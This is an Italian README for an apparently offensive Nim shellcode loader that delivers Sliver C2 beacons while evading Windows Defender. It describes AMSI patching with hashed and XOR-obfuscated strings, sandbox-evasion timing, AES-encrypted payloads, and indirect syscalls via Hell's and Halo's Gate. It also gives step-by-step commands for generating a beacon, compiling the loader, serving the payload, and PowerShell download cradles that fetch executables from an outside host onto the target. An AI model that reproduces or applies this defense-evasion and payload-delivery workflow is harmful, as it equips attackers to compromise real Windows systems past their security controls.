
Strumento di crittografia basato su Nim per offuscare shellcode e payload per eludere Windows Defender.
Un loader di shellcode per Sliver scritto in Nim per Windows x64. Due varianti per coprire le due situazioni di consegna più comuni. Testato contro Windows Defender con protezione in tempo reale attiva.
Legge un blob di shellcode crittografato dal disco, lo decifra in memoria e si auto-inietta. Usalo quando hai già una primitiva di drop di file e desideri un binario piccolo e semplice.
loader.exe <shellcode.bin> [key_hex iv_hex]
Key e IV sono opzionali. Se omessi, il file viene trattato come shellcode grezzo non crittografato.
Scarica il blob crittografato dal tuo C2 via HTTP usando lo stack Windows WinHTTP, lo decifra in memoria e si auto-inietta. Nessun file tocca mai il disco. Usalo quando puoi eseguire un binario sul target ma non puoi rilasciare in modo affidabile un secondo file.
Modifica le costanti all'inizio di stageless/loader.nim prima di compilare:
c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey = "..." # 64 caratteri esadecimali da encrypt.py
scIV = "..." # 32 caratteri esadecimali da encrypt.py
Il loader stageless chiama Sleep(5000) all'avvio e misura il tempo effettivo trascorso con GetTickCount64. Se sono passati meno di 4500ms, il processo termina. La maggior parte degli ambienti sandbox automatizzati saltano o accelerano le sleep, causando il fallimento del controllo. Questo viene eseguito prima di qualsiasi attività di rete o esecuzione di shellcode, quindi le sandbox che ispezionano il comportamento di rete non vedono nulla.
amsi.nim esegue il patch di AmsiScanBuffer a runtime utilizzando due livelli di offuscamento:
Nascondere stringhe tramite hash FNV-1a. La stringa AmsiScanBuffer non appare mai nel binario. Invece, il suo hash FNV-1a viene calcolato in fase di compilazione e memorizzato come costante. A runtime il loader esamina la tabella delle esportazioni di amsi.dll, calcola l'hash di ogni nome di esportazione e lo confronta con il valore memorizzato per trovare l'indirizzo della funzione senza mai tenere la stringa in memoria.
Offuscamento XOR in fase di compilazione. Sia il nome della DLL (amsi.dll) che i byte di patch (xor eax, eax; ret = 31 C0 C3) vengono codificati con XOR in fase di compilazione utilizzando una chiave casuale generata fresca ad ogni build tramite un subprocesso Python. La chiave è incorporata come costante e i byte vengono decodificati a runtime immediatamente prima dell'uso. I byte grezzi cambiano ad ogni build, rompendo le firme statiche sulla sequenza di patch.
La patch sovrascrive i primi tre byte di AmsiScanBuffer con xor eax, eax; ret, facendo sì che ogni chiamata restituisca AMSI_RESULT_CLEAN indipendentemente dall'input.
encrypt.py crittografa lo shellcode grezzo con AES-256-CBC utilizzando una chiave casuale di 32 byte e un IV di 16 byte. Il loader decifra in-place utilizzando l'API Windows BCrypt, quindi non è necessaria alcuna libreria crittografica di terze parti sul target.
La memoria viene allocata come PAGE_READWRITE, lo shellcode viene scritto al suo interno, e successivamente la regione viene trasformata in PAGE_EXECUTE_READ prima dell'esecuzione. Allocare direttamente come PAGE_EXECUTE_READWRITE è una firma ben nota che Defender e gli EDR segnalano esplicitamente. Separare le fasi di scrittura ed esecuzione evita questo schema.
stageless/syscalls.nim bypassa sia il livello API Win32 (kernel32.dll) che eventuali hook userland di ntdll.dll posizionati dagli EDR.
Risoluzione SSN. All'avvio il loader ottiene l'indirizzo base di ntdll e analizza la sua tabella delle esportazioni PE, raccogliendo ogni esportazione Nt* ordinata per RVA. Per ogni funzione NT necessaria, controlla i primi quattro byte:
4C 8B D1 B8 (mov r10, rcx; mov eax, imm32) significa che lo stub è pulito e l'SSN viene letto direttamente dai byte 4-5. Questo è Hell's Gate.neighbor_SSN +/- distance. Gli SSN incrementano di uno per stub in ordine di indirizzo. Questo è Halo's Gate.Localizzazione del gadget. Il loader scansiona il primo stub Nt* pulito che trova per la sequenza di byte 0F 05 C3 (syscall; ret). Questo fornisce un indirizzo all'interno della sezione .text supportata dall'immagine di ntdll che possiamo riutilizzare.
Generazione dello stub. Per ogni funzione richiesta, uno stub di 22 byte viene scritto in una singola pagina RW che viene poi trasformata in RX prima dell'uso:
4C 8B D1 mov r10, rcx
B8 xx xx 00 00 mov eax, <SSN>
FF 25 00 00 00 00 jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx indirizzo del gadget
Il jmp [rip+0] dereferenzia gli 8 byte immediatamente successivi (l'indirizzo del gadget) e reindirizza l'esecuzione nella sequenza syscall; ret esistente di ntdll. L'istruzione syscall viene eseguita dal .text di ntdll anziché dalla nostra allocazione anonima, sconfiggendo qualsiasi tracciamento a livello kernel di quale regione di memoria ha emesso la syscall.
Le quattro funzioni coperte dai syscall indiretti sono NtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx e NtWaitForSingleObject.
Dopo la decifratura, il loader stageless alloca una regione RW nel proprio processo tramite NtAllocateVirtualMemory, copia lo shellcode con copyMem, trasforma la regione in RX tramite NtProtectVirtualMemory e avvia un thread tramite NtCreateThreadEx. Il thread principale si blocca poi indefinitamente su NtWaitForSingleObject, mantenendo il processo vivo mentre le goroutine del beacon vengono eseguite. Tutte e quattro le chiamate passano attraverso gli stub di syscall indiretti descritti sopra.
L'auto-iniezione mantiene la superficie di chiamata minima. Non ci sono chiamate API cross-process (WriteProcessMemory, CreateRemoteThread, ecc.), che sono i principali vettori di rilevamento per l'iniezione remota classica.
AmsiScanBuffer tramite FNV-1a, sovrascrivi con xor eax, eax; retsyscall; ret, scrivi stubNtAllocateVirtualMemory nel proprio processo (RW) tramite syscall indirettoNtProtectVirtualMemory in PAGE_EXECUTE_READ tramite syscall indirettoNtCreateThreadEx tramite syscall indirettoNtWaitForSingleObject sull'handle del thread tramite syscall indirettoVirtualAlloc (RW), copia shellcode, VirtualProtect in RXSulla tua macchina di build Linux:
nimble install winim)x86_64-w64-mingw32-gcc)pip install pycryptodome)[server] sliver > mtls --lhost 10.10.14.42 --lport 443
[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon
python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv: 83b82994e8c512d536f7d42e89d6e761
Modifica stageless/loader.nim e imposta c2Host, c2Port, c2Path, scKey, scIV, poi dalla root del progetto:
# stageless
nim c -d:release -o:bins/loader.exe stageless/loader.nim
# stager
nim c -d:release -o:bins/loader.exe stager/loader.nim
Compila sempre dalla root del progetto in modo che venga caricato solo il nim.cfg principale. L'output è un PE Windows x64 collegato staticamente senza dipendenze DLL esterne oltre alle librerie di sistema standard.
Stageless: servi il blob crittografato via HTTP sulla porta corrispondente a c2Port:
cd bins && python3 -m http.server 443
Stager: trasferisci entrambi i file sul target:
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/beacon_enc.bin", "C:\Windows\Temp\beacon.bin")
Stageless:
loader.exe
Stager con crittografia:
loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761
Stager senza crittografia:
loader.exe shellcode.bin
Se consegni tramite un cradle di download PowerShell, AMSI scannerizzerà lo script prima che il loader venga eseguito. Esegui prima il patch di AMSI nella tua sessione PS:
python3 gen_amsi.py
Incolla l'output nella sessione PS prima di scaricare o eseguire qualsiasi cosa. Lo script risolve AmsiScanBuffer tramite hash della tabella delle esportazioni, quindi la stringa non appare mai in chiaro, e tutti i byte di patch sono codificati XOR con una chiave casuale per ogni esecuzione.
BCryptSetProperty per la modalità di concatenamento restituisce STATUS_INVALID_PARAMETER ma BCrypt per impostazione predefinita usa CBC, quindi la decifratura funziona correttamentesyscall negli stub viene eseguita dall'interno della sezione .text di ntdll (supportata dall'immagine, firmata Microsoft), non dalla pagina dello stub, sconfiggendo il tracciamento dell'origine della syscall a livello kernelPuoi trovare maggiori dettagli sui meccanismi di Defender, tecniche e altri strumenti sul mio blog